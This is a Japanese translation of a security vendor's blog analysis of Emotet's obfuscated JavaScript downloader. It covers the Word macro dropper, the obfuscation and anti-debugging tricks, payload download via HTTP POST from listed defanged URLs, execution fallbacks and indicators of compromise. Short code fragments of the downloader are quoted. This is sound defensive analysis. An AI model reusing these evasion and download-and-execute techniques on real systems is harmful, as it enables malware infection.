掲載日:2020/11/19

Bromium Blog記事

Emotetの再覚醒:JavaScriptダウンローダーの分析

※ 本ブログは、2019年9月24日にBromium BlogにポストされたReawakening of Emotet: An Analysis of its JavaScript Downloaderの日本語訳です。

 

2019年9月中旬のEmotetの配信活動の再開をうけ、Alex Hollandさんの前回のブログ投稿では、その動作の変更点を精査しました。

 

注目すべき変化の1つは、悪意のあるMicrosoft Wordダウンローダーの一部が、侵害の初期段階でJavaScriptをダウンロードさせて実行させていることです。 Emotetによってアーカイブ(.zip)ファイル内に仕込まれたJavaScriptダウンローダーを使用することは目新しいことではありませんが、9月の配信活動からの検体は、ダウンローダーの処理内容に更新があったことを示しています。Emotetのドキュメントベースのダウンローダーは、主にVisual Basic for Applications(VBA)マクロとPowerShellを使ってパックしたペイロード(攻撃の実体モジュール)を被害者のシステムにダウンロードさせましたが、JavaScriptを使用したメインペイロードのダウンロードと実行が主流になっているようです。

 

このブログ記事では、以前のバージョンよりも大幅に難読化されたEmotetの刷新されたJavaScriptダウンローダーを分析します。侵害の初期フェーズで難読化されたJavaScriptが使用されると、静的分析と親子プロセス関係を用いる検出を容易に回避できます。今回の分析は、難読化、ブラケット表記、無名関数、短縮された名前、および分析対策の複数のレイヤーの使用で、Emotetがシグネチャベースの検出エンジンの一歩先を行っていることを示しています。使用される難読化対策は、JavaScript obfuscatorと呼ばれるオープンソースのGitHubプロジェクトに似ています。EmotetのJavaScriptダウンローダーは、このソフトウェアを使用して難読化されている可能性もあります。

 

ファイル情報

  • ファイル名:Documento_2019_69318.docm
  • ファイルサイズ:240.77 KB(246552バイト)
  • 分類:Document-Word.Trojan.Sdrop
  • MD5:8CCBE39E1FCEAD257284E55753C18799
  • SHA1:D468EA5BA7A856C12C3AC887C1A023F6B1182165
  • SHA256:82BB3612B299CBA0350E1DC4C299AF9D50354CC1448B1DD931017F4381D0606A
  •  

MICROSOFT WORDドロッパー

Emotetダウンローダーは、悪意のあるMicrosoft Word文書(.docm)を配信するフィッシング配信活動の一環として受信されました。この検体は、​​マルウェア作成者は、Microsoft Wordの機能が2019年9月20日金曜日以降に無効になるという警告を使用して、ユーザーをひっかけて「コンテンツを有効にして編集を有効にする」リボンをクリックさせます。

ユーザーを欺き「コンテンツを有効にする」をクリックするように警告する新しいMicrosoft Word文書テンプレート 図1 – ユーザーを欺き「コンテンツを有効にする」をクリックするように警告する新しいMicrosoft Word文書テンプレート

 

コンテンツを有効にすることでマクロの実行につながります。Emotetのダウンローダーの以前のバージョンとは異なり、埋め込みマクロは難読化はされていないものの、多くのジャンク行が含まれています。これらのジャンク行を削除すればDocument_Openサブルーチンの難読化は容易に解除できます。このサブルーチンはScripting.FilesystemObjectを使用して、%USERPROFILE%\ 0.7055475.jseの場所にテキストファイルを作成します。

 

それほどランダムではないファイル名-0.7055475.jse

ファイル名は、VBAのRnd関数を使用して生成されます。この関数は、0以上1以下の擬似乱数で7桁の数字を生成します。ただ、マクロでのRnd関数の使用では意図通りのランダムなファイル名にはなりません。これは疑似乱数を生成する際、Rndがシード値に依存するためです。 Visual Basicでは、 Randomize関数を使用して新しいシード値を生成できますが、マクロの作成者はこれを実践しませんでした。その結果、Rnd関数はデフォルトのシード値から数値を生成するため一貫したファイル名、「0.7055475.jse」を生成します。 Rndに実装された疑似乱数ジェネレータに関する Microsoftのドキュメントによると、デフォルトでは、関数はプログラムが実行されるたびに疑似乱数の同じシーケンスを返します。

 

JavaScript のディスクへの書き込み

マクロは、関数CreateTextFileを使用して、%USERPROFILE%の場所にファイルを作成し、同じファイル名の上書きとUnicodeエンコードをtrueに設定して、その場所に既存のファイルがあれば上書きします。CreateTextFileはオブジェクトのテキストストリームを返し、マクロはテキストストリームオブジェクトのWriteメソッドを呼び出して、UserForm1という埋め込みフォームのコンテンツを保存します。 図2が示すようにUserForm1には難読化されたJavaScriptが含まれており、それが.jseファイルに書き込まれます。

フォームUserForm1内の埋め込みJavaScript 図2 -フォームUserForm1内の埋め込みJavaScript

 

 

ジャンク行を含む難読化されたDocument_Openサブルーチン 図3 – ジャンク行を含む難読化されたDocument_Openサブルーチン

 

 

埋め込まれたJavaScriptをコピーして実行する、難読化解除されたDocument_Openサブルーチン 図4 – 埋め込まれたJavaScriptをコピーして実行する、難読化解除されたDocument_Openサブルーチン

 

JavaScriptファイルを投下させた後、マクロはShell.ApplicationでCreateObjectを呼び出してWScript shell オブジェクトを作成します。shellオブジェクトのメソッドは、システム関数をマクロで使用できるようにします。 マルウェアの作成者は、これらのメソッドを使ってディレクトリを作成し、特別なフォルダーにアクセスし、プロセスを生成してスクリプトを実行することがよくあります。この検体では、ShellExecuteメソッドを使ってJSEファイルを起動しています。

 

JAVASCRIPTダウンローダー

予想どおり、JSEファイルは高度に難読化されており、シグネチャおよび静的コード分析手法による検出は容易に回避します。図5は、感染から8日過ぎた時点でさえ、マルウェア検知エンジン57種のうち9種のみが(16%)悪意のあるJavaScriptを検知できたことを示しています。

 0.7055475.jseのVirusTotalでの検出状況 図5 – 0.7055475.jseのVirusTotalでの検出状況

 

  • パス:%USERPROFILE%\0.7055475.jse
  • SHA256:D1292f0e74af41db6139b453effb022d8c506efa3108a22f87d580fab9c5e864

 

文字列配列”a”の内容を示す、難読化されたJavaScriptのスニペット 図6 – 文字列配列”a”の内容を示す、難読化されたJavaScriptのスニペット

 

 

ブラケット表記の頻繁な使用

JavaScriptでは、ブラケット記法を用いてメソッドを呼び出し、オブジェクトのプロパティにアクセスできます。 たとえば、[“WScript”] [“CreateObject”](“WScript.Shell”)と書けます。ブラケット表記法には、オブジェクトのプロパティ識別子を文字列にするか、文字列に解決できる事という1つの制約があるのみで、利点はいくつかあり、ここではブラケット表記のプロパティ識別子の代わりに変数や数値を使用できることを挙げられます。マルウェア作成者には、オブジェクトのメソッドとプロパティをトークン化して、括弧内のオブジェクトを難読化された文字列で置き換える余地を与えます。この検体では、​​Emotetはブラケット記法を広範囲で使用しており、文字列を置換および難読化し、配列内のある場所で文字列を定義し、難読化の別のレイヤーを実装してからこれらの文字列をエンコードします。結果JavaScriptによって、静的分析エンジンがダウンローダーの難読化の解除をすることの難易度をあげます。

 

無名関数の使用

スクリプトは、難読化された文字列で初期化された配列で始まります。 配列の初期化の直後に無名関数があります(図7)。 JavaScriptでは、無名関数は単に名前のない関数です。これらの関数は名前付き識別子で宣言されてことなしに変数に割り当てることができます。これらの変数には単略化された名前を付けることができるため、スクリプトの読み取りと分析が困難になります。これらはCやC ++の関数ポインターに似ていると考えることができます。 図7で定義されている関数の例では、配列をシャッフルします。

 配列内の文字列をシャッフルする無名関数 図7 – 配列内の文字列をシャッフルする無名関数

 

この関数は2つの引数を取ります。 最初の引数は文字列配列 “a” で、2番目は16進数0xEA(234)です。 この関数は、16進数値0xEAをカウンターとして使用し、”e” という別の関数に渡します。”e” の名前を”Shuffle”に変更してみましょう。この関数は、whileループを実行し、カウンターがゼロに達するまでカウンターを減分する別の匿名関数です。各反復中に、2つのタスクを実行します。まず、配列 “a” で “shift” 演算子を呼び出します。 “shift” 演算子は、文字列配列 “a”から最初の要素を削除して、最初の要素を返します。 また、配列の長さを 1 減らします。 次に、”push” 演算子を呼び出します。これは、ステップ1で “shift” 演算子によって削除された要素を配列の最後の位置にプッシュします。

 

temp_arrayが[‘1’、 ‘2’、 ‘3’]で初期化される例に従って、操作を理解しましょう。

 

var temp_array = [‘1’、 ‘2’、 ‘3’];

 

temp_arrayのShift操作は、最初の要素「1」を返し、temp_arrayに[‘2’、 ‘3’]を含めます。

 

引数temp_array.shift()を使用したtemp_arrayのプッシュ操作は、最後のインデックスに “1” をプッシュします。 これで、temp_arrayは次の順序で要素を保持します。

 

[‘2’、 ‘3’、 ‘1’]

 

このスクリプトでは、配列「a」の文字列を234回シャッフルします。

 

JAVASCRIPTでのマングル名の使用

このスクリプトでは、すべての関数は匿名であり、a、b、cなどのマングル(短縮)された名前を持つ変数に割り当てられます。マングルされた名前を使用すると、関数呼び出しが認識できなくなり、アナリストがそのロジックを読み取って理解するのが難しくなります。 次の無名関数は変数 “b” に割り当てられます。 変数 “b” に割り当てられた関数は、難読化解除に使用され、上記の括弧表記でオブジェクトのプロパティを取得するために使用される文字列を返します。 この関数は2つの引数を取ります。配列インデックスと4文字の文字列です。 関数の2番目の引数は、配列 “a” の文字列をデコードするキーです。またこの関数は、デコードされた値を辞書に保存して、複数回参照された場合に再度デコードされないようにします。

配列インデックスとキーをパラメーターとして使用した、難読化解除機能に対応する呼び出しのデコードされた文字列 図8 – 配列インデックスとキーをパラメーターとして使用した、難読化解除機能に対応する呼び出しのデコードされた文字列

 

 

分析対策-デバッグの無効化

このスクリプトは、ブラウザーと開発ツールを使用したJSEスクリプトのデバッグを無効にします。 実行環境に基づいてデバッグ保護機能を呼び出します。以下のスニペットでは、関数 “bV” が引数 “0” で呼び出され、スクリプトを無限ループにするか、”debugger” コンストラクタ で無名関数を呼び出します。 アナリストが、たとえばブラウザーでスクリプトをデバッグしようとすると、スクリプトで使用されているデバッグ保護によってブラウザーがフリーズされ、デバッグ保護機能が削除されない限りデバッグは、ほぼ不可能になります。

デバッグ保護テンプレート関数をチェックして返す関数 図9 – デバッグ保護テンプレート関数をチェックして返す関数
デバッグ保護を提供する無名関数テンプレート 図10 – デバッグ保護を提供する無名関数テンプレート

 

 

分析対策-フックを使用したコンソール出力の無効化

このスクリプトは、すべてのトレースレベルのコンソール出力機能の再定義でコンソール出力を無効にします。ペイロードをダウンロードする前に関数「ad」を呼び出します。 この関数は、文字列 “3|2|0|4|1”  を区切り文字 “|” で分割してトークン化します。 各トークンはswitch caseステートメントに変換され、いくつかの変数を設定します。 これは、while(true)ループ内でswitch-caseブロックの変数を準備する標準的なトリックです。

 

図11では、ケース”2″ブロックの場合は変数 “as” を空の関数に設定します。 次に、これを使用して、[‘Console’] [‘log’]、[‘Console’] [‘trace’]、[‘Console’] [‘info’]など、”1″ブロックを空に再定義します。関数呼び出し。 アナリストがコンソールログをスクリプトに追加すると、実行時に出力されず、空の関数呼び出しが呼び出されます。 この手法では混乱が発生し、分析者が難読化解除されたステートメントと変数を出力するのが難しくなります。

 

"2"ブロックの場合、変数"as”は空の関数として定義されます 図11 – ”2"ブロックの場合、変数”as”は空の関数として定義されます
 ”1"ブロックは、[‘console’] [Level]を空の関数に<Level>はinfo、debug、traceなどになるよう再定義します 図12 – ”1"ブロックは、[‘console’] [Level]を空の関数に<Level>はinfo、debug、traceなどになるよう再定義します

 

 

ACTIVEXOBJECTおよびHTTP POST要求を使用したペイロードのダウンロード

次に、スクリプトはServerXMLHTTPオブジェクトを作成して、HTTP POSTメソッドを使用してXML応答を取得します。

 

bN[‘setOption’](0x3, “MSXML”);

 

オプションSXH_OPTION_SELECT_CLIENT_SSL_CERTと値 ”MSXML” を使用して、オブジェクトのsetOptionメソッドを呼び出します。 MSDNによると、オプションSXH_OPTION_SELECT_CLIENT_SSL_CERTのデフォルト値は空の文字列です。サーバーがクライアント証明書を要求する場合、最初にローカルストレージで証明書を送信します。

 

var bQ = bN[“open”](“POST”, url_lists[aD], ![]);

 

ServerXMLHTTPオブジェクトにオプションを設定した後、以下に示すURLのリストを反復処理し、HTTP POSTメソッド、反復URL、および同期モードでオブジェクトのOpenメソッドを呼び出して要求を初期化します。

 

  • hxxp://ilyalisi[.]com/wp-admin/zdq0487/
  • hxxp://limkon[.]com/wp-admin/lr41v586/
  • hxxps://indieconnectads[.]com/gcx5ln/5f8704/
  • hxxp://www.behlenjoiner[.]com/y3sb/e71h7936/
  • hxxps://ragulars[.]com/CmJb/ziv4/

 

HTTP要求の同期モードは、OpenメソッドのbAsyncパラメーターをfalseに変更することにより設定されます。

 

bN[‘send’](‘cxvdsa’);

 

リクエストが初期化されると、メッセージ本文”cxvdsa”でsendメソッドを呼び出します。送信要求のステータスが成功すると、ActiveXストリームオブジェクト(ADODB.Stream)が作成され、以前のHTTP POST要求から受信した応答本文がストリームオブジェクトに書き込まれます。その後、SaveToFileメソッドを呼び出して、ファイル名を “%TEMP% + in + random_number + .exe” およびオプション2(adSaveCreateOverWrite)として指定します。このオプションは同じ名前のファイルが既に存在する場合に上書きします。

EmotetペイロードをダウンロードするURLのHTTP POST要求 図13 – EmotetペイロードをダウンロードするURLのHTTP POST要求

 

 

ペイロードバイナリの検証

“%TEMP% + in + random_number + .exe” の場所にファイルを保存した後、FileSystemObjectを使用してオブジェクトを作成し、OpenAsTextStreamを使用してペイロードをテキストストリームとして開きます。 OpenAsTextSTreamは、オプションiomodeを1(読み取り専用)で呼び出します。その後、ストリームから最初の2バイトを読み取り、”MZ”と比較してダウンロードしたペイロードに有効なPEマジック番号があることを検証します。

 

bn = aY[“GetFile”](payload)[‘Size’];

 

ヘッダーが有効なPEファイルであることを示している場合、ファイルサイズを確認することで2回目の検証を実行します。 GetFileメソッドを使用してダウンロードしたペイロードのファイルサイズを取得し、HTTP POST要求の応答ヘッダーのコンテンツ長と比較します。

 

フォールバックアプローチでペイロードを実行する

ペイロードの検証が成功すると、スクリプトはtry-catchブロックを使用してペイロードを実行します。スクリプトは、メソッドに対して例外がスローされると、さまざまなコード実行メソッドを試行します。最初に、スクリプトはWin32_Process WMIクラスのCreateメソッドを呼び出して、ペイロードをWmiPrvSe.exe(WMIプロバイダーホスト)の子プロセスとして起動します。 WMI Provider Hostを介してペイロードを実行すると、親子プロセスの関係に基づいて検出を回避できます。 WMIを使用したペイロードの起動中に発生した例外はすべてキャッチされます。これが発生した場合、Shellオブジェクトの Runメソッドと引数 cmd /c “payload_path” を使用してペイロードを起動するフォールバックメソッドが使用されます。このメソッドを使用して例外が発生した場合、スクリプトはフォールバックして、WScript Shellオブジェクトの Execメソッドを使用してペイロードを直接起動します。

フォールバックメソッドを使用したペイロードの検証と実行 図14 – フォールバックメソッドを使用したペイロードの検証と実行

 

 

分析対策 – 偽のエラー

実行中のスクリプトは、ScriptFullNameを呼び出してスクリプトのフルパスに文字列”Startup”の存在有無を確認することにより、スタートアップディレクトリから起動されたか否かを確認します。存在しない場合、区切り文字 “|” を使用してSplitメソッドを呼び出すことにより、文字列 “3|1|4|0|2” をトークン化します。”2″ の場合、WScript Shellオブジェクトを使用して「MS Wordはこのドキュメントを開けません」というメッセージを含むポップアップウィンドウを作成します。この措置は、ユーザーにドキュメントが壊れていると信じさせることを目的としています。 OstapのJScriptダウンローダーは、同様の分析対策を使用します。

JavaScriptは実行中にユーザーに偽のメッセージを表示します 図15 – JavaScriptは実行中にユーザーに偽のメッセージを表示します

 

 

プロセス相互作用グラフ

Bromium Controllerで表示されるプロセス相互作用グラフ 図16 – Bromium Controllerで表示されるプロセス相互作用グラフ

 

 

侵害の痕跡

SHA256 (Documento_2019_69318.docm) Document-Word.Trojan.Sdrop 82bb3612b299cba0350e1dc4c299af9d50354cc1448b1dd931017f4381d0606a
SHA256 (in4684.exe) Win32.Trojan.Emotet d2f7affdd9a9c6fd06911934ae409a2922e02619233305b074224f6f08229f39
SHA256 (ADA3154D.png) Win32.Trojan.Doc 6255a9df4bd42e8e89d7000e49b77038c887888715252a895b6f835a827a1063

関連記事